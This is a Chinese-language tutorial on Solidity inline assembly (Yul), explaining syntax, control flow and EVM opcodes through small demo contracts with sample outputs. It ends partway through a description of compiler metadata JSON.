// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure {
assembly {
let x := 3
{
let y := x // success
} // 到此处会销毁y
}
}
}
例子: 简单的加法
下面是一个计算 _x + _y
的两种写法对比,汇编的语法节省了 1.76%
的 gas。 assembly 核心是更细粒度的控制,省 gas 只是它的外在表现。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
// 输入 1,2 ; 输出 22307 gas
function addSolidity(uint256 _x, uint256 _y) public pure returns (uint256) {
return (_x + _y);
}
// 输入 1,2 ; 输出 21915 gas
function addAssembly(uint256 _x, uint256 _y) public pure returns (uint256) {
assembly {
// let result 是声明一个变量 result
// add(_x, _y) 是计算 x + y 的结果
// := 是将 x + y 的结果赋值给变量 result
let result := add(_x, _y)
// mstore(0x0, result) 在内存 `0x0` 的位置储存 `result`
mstore(0x0, result)
// 从内存索引 0x0 位置返回32字节
return(0x0, 32)
}
}
}
语言基础
Yul 提供了高级结构,如 for
循环、if
语句 switch
和函数调用等等,下面按照分类进行介绍。
在 Inline Assembly 中,以下几个点很重要:
赋值: 使用的是
:=
,而不是=
。声明变量: 使用
let
声明;(不是正常带有指定类型的强类型方式)
声明与赋值
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256, uint256) {
assembly {
let x := 2 // 声明 x,赋值为2
let y // 声明 y,初始化为 0
y := 5 // 赋值 y 为5
mstore(0x0, x) // 内存中储存 x
mstore(add(0x0, 32), y) // 内存中移动32位,再储存y
// 返回内存中 0 - 64 的数据
return(0x0, 64)
}
}
}
结果就是 2,5
;
在 Solidity 汇编中字面量的写法与 Solidity 一致。但是 字符串字面量 最多可以包含 32 个字符。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure {
assembly {
let a := 0x123 // 16进制
let b := 42 // 10进制
let c := "hello world" // 字符串
let d := "very long string more than 32 bytes" // 长度 35 的 字符串,错误!
}
}
}
汇编只能读取局部变量
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
uint256 a = 2;
function demoAssembly() public pure {
uint256 b = 5;
assembly {
// 可以读取 x 和 y
let x := add(2, 3)
let y := 10
let z := add(x, y)
}
assembly {
// 可以读取 x 和 b
let x := add(2, 3)
let y := mul(x, b)
}
assembly {
let x := add(2, 3)
// ❌ TypeError: Only local variables are supported.
// To access storage variables, use the ".slot" and ".offset" suffixes.
let y := mul(x, a)
}
}
}
条件判断
if
switch
if
特点如下
只有 if ,没有 else
if 语句强制要求代码块使用大括号,
{}
不允许省略
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure {
uint256 x;
assembly {
// success
if iszero(x) {
x := sub(1, x)
}
// fail: 没有使用 {} 包裹代码
// if iszero(x) revert(0, 0)
}
}
}
如果需要在 Solidity 内联汇编中检查多种条件,可以考虑使用 switch 语句。
switch
switch 语句支持 一个默认分支 default,当表达式的值不匹配任何其他分支条件时,将 执行默认分支的代码。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 x) public pure returns (uint256 result) {
assembly {
switch x
case 0 {
result := 0
}
case 1 {
result := 1
}
default {
result := mul(x, x)
}
}
}
}
for 循环
for 循环也包含 3 个元素
初始化:比如
let i := 0
执行条件:比如
lt(i, n)
,必须是函数风格表达式迭代后续步骤:比如
add(i, 1)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 result) {
uint256 leng = 10;
assembly {
for
{ let i := 0 }
lt(i, leng)
{ i := add(i, 1) }
{
result := add(result, i)
}
// 下面可以省略
mstore(0x0, result)
return(0x0, 32)
}
}
}
for 循环的初始化部分和迭代后续步骤可以留空 , 改写为下面的格式
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 result) {
uint256 leng = 10;
assembly {
let i := 0 // 初始条件写在这
for {} lt(i, leng) {} {
// 核心部分
result := add(result, i)
// 迭代后续步骤写在这
i := add(i, 1)
}
// 可以省略
mstore(0x0, result)
return(0x0, 32)
}
}
}
备注: continue
or break
语句只能在 for
循环体内使用
函数的定义和使用
函数的运行机制如下:
从堆栈提取参数
将结果压入堆栈
和 Solidity 函数不同,不需要指定汇编函数的可见性
例如 public 或 private, 因为汇编函数仅在定义所在的汇编代码块内有效。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 free_memory_pointer) {
assembly {
// 函数定义
function allocate(length) -> pos {
pos := mload(0x40)
mstore(0x40, add(pos, length))
}
// 函数使用
free_memory_pointer := allocate(64)
}
}
}
EVM 内置函数/内置操作码
算数操作
add
: 加法mul
:
比较操作
lt
gt
位操作
not
:and
:
密码学操作,目前仅包含 keccak256
环境操作,主要指与区块链相关的全局信息,例如 blockhash 或 coinbase 收款账号
存储、内存和栈操作
交易与合约调用操作
停机操作
日志操作
下面是详细的列表说明,标记为-
的操作不返回结果,其他所有操作码只返回一个值。
标有 F、H、B、C 、I 和 L 分别自出现的时间,对应的如下
F
: FrontierH
: HomesteadB
: ByzantiumC
: ConstantinopleI
: IstanbulL
: London
常见的常量值是 0x20
/ 0x40
, 代表十进制的 32 和 64。
数学计算
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
add(x, y) | F | x + y |
|
sub(x, y) | F | x - y |
|
mul(x, y) | F | x * y |
|
div(x, y) | F | x / y (如果 y 为 0,则结果为 0) |
|
mod(x, y) | F | x % y (如果 y 为 0,则结果为 0) |
|
exp(x, y) | F | x 的 y 次方 |
|
addmod(x, y, m) | F | (x + y) % m 任意精度算术,如果 m == 0 则为 0 |
|
mulmod(x, y, m) | F | (x * y) % m 任意精度算术,如果 m == 0 则为 0 |
|
sdiv(x, y) | F | x / y , 以二进制补码作为符号 (如果 y 为 0,则结果为 0) |
|
smod(x, y) | F | x % y , 以二进制补码作为符号 (如果 y 为 0,则结果为 0) |
add: 加法
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := add(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
上面合约函数,传入参数:1,2
,返回3
。
这里需要返回uint256
类型,assembly 内部返回是,从什么位置开发,返回多少个数据。需要返回两个数据。比如我把 uint256 改为 uint8,代码如下
function demoAssembly(uint8 _x, uint8 _y)
public
pure
returns (uint8)
{
assembly {
let result := add(_x, _y)
mstore(0x0, result)
return(0x0, 2)
}
}
相同的参数会报错: error:Failed to decode output: Error: data out-of-bounds (length=2, offset=32, code=BUFFER_OVERRUN, version=abi/5.5.0)
sub: 减法
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := sub(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:2,1
,返回1
。
注意:这时候如果传参 1,2
,会溢出返回,得到的结果不会报错,反而是:115792089237316195423570985008687907853269984665640564039457584007913129639935
,因为 assembly 绕过了 solidity 的安全检查。当我们使用 assembly 编码时候,安全问题需要自己控制,不要错误的认为 solidity 的默认机制会保护代码。
mul: 乘法
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := mul(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:2,3
,返回6
。
div: 除法
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := div(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:
3,2
,返回1
。传入参数:
3,1
,返回3
。传入参数:
3,0
,返回0
。
mod: 求模
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := mod(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:
3,2
,返回1
传入参数:
3,1
,返回0
传入参数:
3,0
,返回0
传入参数:
3,30
,返回3
exp: 次方
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (uint256)
{
assembly {
let result := exp(_x, _y)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:
10,2
,返回100
。传入参数:
10,3
,返回1000
。
addmod: 先求和再求模
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(
uint256 _x,
uint256 _y,
uint256 _m
) public pure returns (uint256) {
assembly {
let result := addmod(_x, _y, _m)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:
2,3,3
,返回2
。
mulmod: 先相乘再求模
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(
uint256 _x,
uint256 _y,
uint256 _m
) public pure returns (uint256) {
assembly {
let result := mulmod(_x, _y, _m)
mstore(0x0, result)
return(0x0, 32)
}
}
}
传入参数:
2,3,3
,返回0
。
二进制补码
下面两个方法,用法基本和 div / mod 差不多
let result := sdiv(_x, _y)
let result := smod(_x, _y)
比较关系
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
gt(x, y) | F | 如果 x > y 等于 1, 否则 0 |
|
lt(x, y) | F | 如果 x < y 等于 1, 否则 0 |
|
eq(x, y) | F | 如果 x == y 等于 1, 否则 0 |
|
iszero(x) | F | 如果 x == 0 等于 1, 否则 0 |
|
slt(x, y) | F | 如果 x < y 等于 1, 否则 0, 以二进制补码作为符号 |
|
sgt(x, y) | F | 如果 x > y 等于 1, 否则 0, 以二进制补码作为符号 |
gt: 大于
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (bool result)
{
assembly {
result := gt(_x, _y)
}
}
}
传入参数:
1,2
,返回false
传入参数:
10,3
,返回true
lt: 小于
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (bool result)
{
assembly {
result := lt(_x, _y)
}
}
}
传入参数:
1,2
,返回true
传入参数:
10,3
,返回false
eq: 等于
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x, uint256 _y)
public
pure
returns (bool result)
{
assembly {
result := eq(_x, _y)
}
}
}
传入参数:
1,2
,返回false
传入参数:
2,2
,返回true
iszero: 等于零
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(uint256 _x)
public
pure
returns (bool result)
{
assembly {
result := iszero(_x)
}
}
}
注意该参数只接收一个参数
传入参数:
1
,返回false
传入参数:
0
,返回true
按位 & 移位
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
not(x) | F | 对 x 按位取反,类似~x ;x 的按位非 |
|
and(x, y) | F | x 和 y 的按位与 | |
or(x, y) | F | x 和 y 的按位或 | |
xor(x, y) | F | x 和 y 的按位异或 | |
shl(x, y) | C | y 逻辑左移 x 位 | |
shr(x, y) | C | y 逻辑右移 x 位 | |
sar(x, y) | C | 将 y 算术右移 x 位 |
not: 按位非
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly(int256 _x) public pure returns (int256 result) {
assembly {
result := not(_x)
}
}
}
传入参数:
0
,返回-1
传入参数:
1
,返回-2
传入参数:
-1
,返回0
传入参数:
-11
,返回10
and: 按位与
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (int256 result) {
int256 _x = 2;
int256 _y = 3;
assembly {
result := and(_x, _y)
}
}
}
结果是 2
or: 按位或
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (int256 result) {
int256 _x = 2;
int256 _y = 3;
assembly {
result := or(_x, _y)
}
}
}
结果是 3
xor: 按位异或
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (int256 result) {
int256 _x = 2;
int256 _y = 3;
assembly {
result := xor(_x, _y)
}
}
}
结果 1
shl: 逻辑左移
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 result) {
uint256 A = 2;
assembly {
result := shl(A, 1) // 4
}
}
}
shr: 逻辑右移
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 result) {
uint256 A = 2;
assembly {
result := shr(A, 1) // 0
}
}
}
sar: 算术右移
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public pure returns (uint256 result) {
uint256 A = 2;
assembly {
result := sar(A, 1) // 0
}
}
}
EVM 区块交易相关
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
address() | F | 当前合约地址 / execution context | |
balance(a) | F | 地址 a 的 wei 余额 | |
selfbalance() | I | 相当于 balance(address()) ,但更便宜 |
|
extcodehash(a) | C | 地址 a 的代码哈希 | |
caller() | F | call sender ( 类似msg.sender ?) (excluding delegatecall ) |
|
callvalue() | F | wei sent together with the current call(类似msg.value ?) |
|
chainid() | I | 当前网络的链 ID (EIP-1344) | |
basefee() | L | 当前区块的基本费用 (EIP-3198 and EIP-1559) | |
timestamp() | F | 当前块的时间戳,自纪元以来的秒数 | |
coinbase() | F | 当前采矿受益人 | |
number() | F | 当前区块号 | |
difficulty() | F | 当前区块的难度 | |
gaslimit() | F | 当前区块的区块 gas limit | |
origin() | F | 交易发送方 | |
gasprice() | F | 交易的 gas 价格 | |
gas() | F | 剩余 gas | |
blockhash(b) | F | 指定 block 的 hash - 仅适用于最后 256 个块,不包括当前块 |
address()
相当于 address(this)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public view returns (address ads1, address ads2) {
assembly {
ads1 := address()
}
ads2 = address(this);
}
}
返回
0:address: ads1 0x3c725134d74D5c45B4E4ABd2e5e2a109b5541288
1:address: ads2 0x3c725134d74D5c45B4E4ABd2e5e2a109b5541288
balance(a)
相当于 address.balance
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
address sender = msg.sender;
assembly {
result1 := balance(sender)
}
result2 = address(sender).balance;
}
}
返回
0:uint256: result1 99999999999992173039
1:uint256: result2 99999999999992173039
selfbalance()
相当于 balance(address())
,但更便宜
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
constructor() payable {}
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := balance(address())
}
result2 = address(this).balance;
}
}
extcodehash(a)
相当于 address.codehash
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (bytes32 result1, bytes32 result2)
{
address sender = msg.sender;
assembly {
result1 := extcodehash(address())
}
result2 = address(this).codehash;
}
}
0:bytes32: result1 0xcbefd958c5e7814e7e635b599c5859eb893c410292a7f9f82088c3e84ee3c0e9
1:bytes32: result2 0xcbefd958c5e7814e7e635b599c5859eb893c410292a7f9f82088c3e84ee3c0e9
caller()
相当于 msg.sender
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public view returns (address ads1, address ads2) {
assembly {
ads1 := caller()
}
ads2 = msg.sender;
}
}
callvalue()
相当于 msg.value
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
payable
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := callvalue()
}
result2 = msg.value;
}
}
chainid()
相当于 block.chainid
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := chainid() // 1
}
result2 = block.chainid; // 1
}
}
basefee()
相当于 block.basefee
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := basefee()
}
result2 = block.basefee;
}
}
timestamp()
相当于 block.timestamp
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := timestamp()
}
result2 = block.timestamp;
}
}
coinbase()
相当于 block.coinbase
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (address result1, address result2)
{
assembly {
result1 := coinbase()
}
result2 = block.coinbase;
}
}
number()
相当于 block.number
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := number()
}
result2 = block.number;
}
}
difficulty()
相当于 block.difficulty
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := difficulty()
}
result2 = block.difficulty;
}
}
gaslimit()
相当于 block.gaslimit
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := gaslimit()
}
result2 = block.gaslimit;
}
}
origin()
相当于 tx.origin
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (address result1, address result2)
{
assembly {
result1 := origin()
}
result2 = tx.origin;
}
}
gasprice()
相当于 tx.gasprice
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := gasprice()
}
result2 = tx.gasprice;
}
}
gas()
相当于 gasleft()
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (uint256 result1, uint256 result2)
{
assembly {
result1 := gas() // 2978815
}
// 与 assembly 之间的顺序不改变最后的值
// 所以 assembly 优先执行?
result2 = gasleft(); // 2978808
}
}
blockhash(b)
相当于 blockhash(number)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly()
public
view
returns (bytes32 result1, bytes32 result2)
{
assembly {
result1 := blockhash(1)
}
result2 = blockhash(1);
}
}
常见方法
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
sload(p) | F | storage[p] |
|
mload(p) | F | mem[p…(p+32)) |
|
sstore(p, v) | - | F | storage[p] := v |
mstore(p, v) | - | F | mem[p…(p+32)) := v |
mstore8(p, v) | - | F | mem[p] := v & 0xff (只修改单个字节) |
keccak256(p, n) | F | keccak(mem[p…(p+n))) |
|
create(v, p, n) | F | create 创建合约 | |
create2(v, p, n, s) | C | create2 创建合约 |
小例子:
mload(p)
: 分配数据mstore(offset, value)
: 在offset
的位置储存value
sload(p)
sload 是 storage load,sload(key)
是从 storage 的哪个 slot 来 load,详细原理可以在后面介绍的 状态变量在存储中的布局 了解更多。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
uint256 public a = 123;
uint256 public b = 456;
function demoAssembly() public view returns (uint256) {
assembly {
// v 是长度是 32 bytes
// 从 slot #0 读数据 => 读到的是 123
// 从 slot #1 读数据 => 读到的是 456
let v := sload(0)
// 在内存位置 0x80 处储存变量 v 后面的数据
mstore(0x80, v)
// 返回值:从 0x80 位置,返回 32个字节
return(0x80, 32)
}
}
}
上面例子中,slot #0
是 123,slot #1
是 456。
注意: slot #0
可能是多个状态变量公用的。比如把状态变量改为如下类型,读 slot #0
,该位置储存了a+b
;
uint128 public a = 1;
uint128 public b = 2;
uint256 public c = 456;
mload(p)
mload 是 memory load,mload(key)
是从 memory 的哪个 slot 来 load,类似 sload
。
问题:内存数据 mload 时为什么从第 32 位开始?
答案:前 32 个字节存储的是数据的长度;
参考: https://www.cnblogs.com/wanghui-garcia/p/9592807.html
sstore(p, v)
mstore(p, v)
下面 name1 和 name2 都返回 “Anbang” 的字符串
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
// gas 23471
bytes6 public name1 = "Anbang"; // 0x416e62616e67
// gas 21229
function name2() public pure returns (string memory) {
assembly {
// 在 0x20 处 储存值 0x20
mstore(0x20, 0x20)
// name1 length = 0x06
// 参数1: 0x40 + length = 0x40 + 0x06 => 0x46
// 参数2: length + name1 = 0x46 + 0x416e62616e67 => 0x06416e62616e67
mstore(0x46, 0x06416e62616e67)
// 返回 memory 从 0x20处之后的 0x60 长度的数据
return(0x20, 0x60)
}
}
}
上面是从0x20
处开始写数据,这个位置不是强制的,使用0x00
也可以的。
mstore8(p, v)
keccak256(p, n)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
// 0x01
function solidityKeccak(bytes memory _input) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_input));
}
// 0x01
function assemblyKeccak(bytes memory _input)
public
pure
returns (bytes32 x)
{
assembly {
x := keccak256(add(_input, 0x20), mload(_input))
}
}
}
create(v, p, n)
assembly {
// create(v,p,n);
// v 是 发送的ETH值
// p 是 内存中机器码开始的位置
// n 是 内存中机器码的大小
// msg.value 不能使用,需要用 callvalue()
adds := create(callvalue(), add(_code, 0x20), mload(_code))
}
create2(v, p, n, s)
下面是 UniswapV2Factory 中创建 pair 核心逻辑
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Z {
bytes6 public name1 = "Anbang";
}
contract Demo {
function addr() public returns (address pair) {
bytes memory bytecode = type(Z).creationCode;
// bytes32 salt = keccak256(abi.encodePacked(address(0), address(1)));
uint256 salt = block.number;
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
}
}
操作数据/大小
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
msize() | F | 内存大小,即最大访问内存索引 | |
pc() | F | 当前在代码中的位置 | |
codesize() | F | 当前合约的代码大小 / execution context | |
codecopy(t, f, s) | - | F | 从位置 f 的代码复制 s 个字节到位置 t 的内存 |
extcodesize(a) | F | 获取地址 a 的代码大小 | |
extcodecopy(a, t, f, s) | - | F | 像 codecopy(t, f, s) 但在地址 a 处获取代码 |
signextend(i, x) | F | sign extend from (i*8+7) th bit counting from least significant |
|
byte(n, x) | F | x 的第 n 个字节,这个索引是从 0 开始的 | |
pop(x) | - | F | 丢弃值 x |
msize()
内存大小,即最大访问内存索引
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function test() public pure returns (int256) {
int8 v0 = 1;
assembly {
v0 := msize()
}
return int256(v0);
}
}
pc()
codesize()
codecopy(t, f, s)
extcodesize(a)
extcodecopy(a, t, f, s)
signextend(i, x)
byte(n, x)
pop(x)
call 相关
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
calldataload(p) | F | 从位置 p 开始调用数据 (32 bytes) | |
calldatasize() | F | 调用数据的大小(以字节为单位) | |
calldatacopy(t, f, s) | - | F | 从位置 f 的 calldata 复制 s 个字节到位置 t 的内存 |
call(g, a, v, in, insize, out, outsize) | F | 在地址 a 调用合约 See more | |
callcode(g, a, v, in, insize, out, outsize) | F | 与 call 相同,但仅使用 a 中的代码,否则留在当前合约的上下文中 See more |
|
delegatecall(g, a, in, insize, out, outsize) | H | 与 callcode 相同,但也保留 caller 和 callvalue See more |
|
staticcall(g, a, in, insize, out, outsize) | B | 与 call(g, a, 0, in, insize, out, outsize) 相同,但不允许状态修改 ons See more |
结束执行
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
return(p, s) | - | F | 结束执行, return data mem[p…(p+s)) |
stop() | - | F | 结束执行, 类似 return(0, 0) |
revert(p, s) | - | B | 结束执行, revert state changes, return data mem[p…(p+s)) |
selfdestruct(a) | - | F | 结束执行, destroy current contract and send funds to a |
invalid() | - | F | 结束执行 with invalid instruction |
returndatasize() | B | 最后返回数据的大小 | |
returndatacopy(t, f, s) | - | B | 将 s 个字节从位置 f 的 returndata 复制到位置 t 的 mem |
log 信息
操作符号 | 返回值 | 版本 | 解释说明 |
---|---|---|---|
log0(p, s) | - | F | log without topics and data mem[p…(p+s)) |
log1(p, s, t1) | - | F | log with topic t1 and data mem[p…(p+s)) |
log2(p, s, t1, t2) | - | F | log with topics t1, t2 and data mem[p…(p+s)) |
log3(p, s, t1, t2, t3) | - | F | log with topics t1, t2, t3 and data mem[p…(p+s)) |
log4(p, s, t1, t2, t3, t4) | - | F | log with topics t1, t2, t3, t4 and data mem[p…(p+s)) |
实战应用
例子 1:一个演示
library VectorSum {
// 此函数效率较低,因为优化器当前无法删除数组访问中的边界检查。
function sumSolidity(uint256[] memory data)
public
pure
returns (uint256 sum)
{
for (uint256 i = 0; i < data.length; ++i) sum += data[i];
}
// We know that we only access the array in bounds, so we can avoid the check.
// 0x20 needs to be added to an array because the first slot contains the
// array length.
// 我们知道我们只在边界内访问数组,
// 所以我们可以避免检查。0x20 需要添加到数组,因为第一个槽包含数组长度。
function sumAsm(uint256[] memory data) public pure returns (uint256 sum) {
for (uint256 i = 0; i < data.length; ++i) {
assembly {
sum := add(sum, mload(add(add(data, 0x20), mul(i, 0x20))))
}
}
}
// Same as above, but accomplish the entire code within inline assembly.
function sumPureAsm(uint256[] memory data)
public
pure
returns (uint256 sum)
{
assembly {
// Load the length (first 32 bytes)
let len := mload(data)
// Skip over the length field.
//
// Keep temporary variable so it can be incremented in place.
//
// NOTE: incrementing data would result in an unusable
// data variable after this assembly block
let dataElementLocation := add(data, 0x20)
// Iterate until the bound is not met.
for {
let end := add(dataElementLocation, mul(len, 0x20))
} lt(dataElementLocation, end) {
dataElementLocation := add(dataElementLocation, 0x20)
} {
sum := add(sum, mload(dataElementLocation))
}
}
}
}
例子 2:获取合约代码
gas 相差无几,重点看一下 code 的背后原理
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
// 24310 gas
function codeBySolidity(address _addr)
public
view
returns (bytes memory o_code)
{
return _addr.code;
}
// 24286 gas
function codeByAssembly(address _addr)
public
view
returns (bytes memory o_code)
{
assembly {
// 1.使用 extcodesize 获取合约内的代码大小
let size := extcodesize(_addr)
// 2.使用 mload 分配输出字节数组
// 类似 o_code = new bytes(size)
o_code := mload(0x40)
// 在 0x40 的位置存入数据
// add(size, 0x20) :
// size 加 0x20
// add(add(size, 0x20), 0x1f)
// size 加 0x20,再加 0x1f
// not(0x1f)
// 0x1f 的按位非
// and(add(add(size, 0x20), 0x1f), not(0x1f))
// "size 加 0x20,再加 0x1f" 和 "0x1f的按位非" 的按位与
mstore(
0x40,
add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
// 把长度保存到内存中
mstore(o_code, size)
// 实际获取代码,这需要汇编语言
extcodecopy(_addr, add(o_code, 0x20), 0, size)
}
}
}
例子 3:计算数值数组的和
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
library VectorSum {
// 因为目前的优化器在访问数组时无法移除边界检查,
// 所以这个函数的执行效率比较低。
function sumSolidity(uint256[] memory _data)
public
pure
returns (uint256 o_sum)
{
for (uint256 i = 0; i < _data.length; ++i) o_sum += _data[i];
}
// 我们只能在数组范围内访问数组元素,所以我们可以在内联汇编中不做边界检查。
// 由于 ABI 编码中数组数据的第一个字(32 字节)的位置保存的是数组长度,
// 所以我们在访问数组元素时需要加入 0x20 作为偏移量。
function sumAsm(uint256[] memory _data)
public
pure
returns (uint256 o_sum)
{
for (uint256 i = 0; i < _data.length; ++i) {
assembly {
o_sum := add(o_sum, mload(add(add(_data, 0x20), mul(i, 0x20))))
}
}
}
// 和上面一样,但在内联汇编内完成整个代码。
function sumPureAsm(uint256[] memory _data)
public
pure
returns (uint256 o_sum)
{
assembly {
// 取得数组长度(取前 32 字节)
let len := mload(_data)
// 略过长度字段。
//
// 保持临时变量以便它可以在原地增加。
//
// 注意:对 _data 数值的增加将导致 _data 在这个汇编语句块之后不再可用。
// 因为无法再基于 _data 来解析后续的数组数据。
let data := add(_data, 0x20)
// 迭代到数组数据结束
for {
let end := add(data, mul(len, 0x20))
} lt(data, end) {
data := add(data, 0x20)
} {
o_sum := add(o_sum, mload(data))
}
}
}
}
问答题
Assembly(内联汇编)与普通 Solidity 代码有什么区别?
使用内联汇编,可以在 Solidity 源程序中嵌入汇编代码,对 EVM 有更细粒度的控制。
Assembly(内联汇编)的作用?
内联汇编主要用在编写库函数时很有用,一般用于写工具函数,比如椭圆签名解析等。
Assembly(内联汇编)的常见方法有,作用分别是什么?
:=
add
mload
mul
0x20
/0x40
问题:内存数据 mload 时为什么从第 32 位开始?
metadata:元数据
Solidity 编译器在编译的时候自动生成xx_metadata.json
的 JSON 文件,中文叫合约的元数据,其中包含了当前合约的相关信息。
metadata 包含信息
元数据文件具有以下格式。 下面的例子将以人类可读的方式呈现。正确格式化的元数据应正确使用引号,将空白减少到最小,并对所有对象的键值进行排序以得到唯一的格式。(下面的代码注释是不允许的,这里仅用于解释目的。)
{
// 必选:元数据格式的版本(注意和Solidity版本不是同一个version )
"version": "1",
// 必选:源代码的编程语言,一般会选择规范的“子版本”
"language": "Solidity",
// 必选:编译器的细节,内容视语言而定。
"compiler": {
// 对 Solidity 来说是必须的:编译器的版本
"version": "0.8.7+commit.e28d00a7",
// 可选: 生成此输出的编译器二进制文件的哈希值
"keccak256": "0x123..."
},
// 必选:合约的生成信息
"output": {
// 必选:合约的 ABI 定义
"abi": [ /*...*/],
// 必选:合约的 NatSpec 用户文档
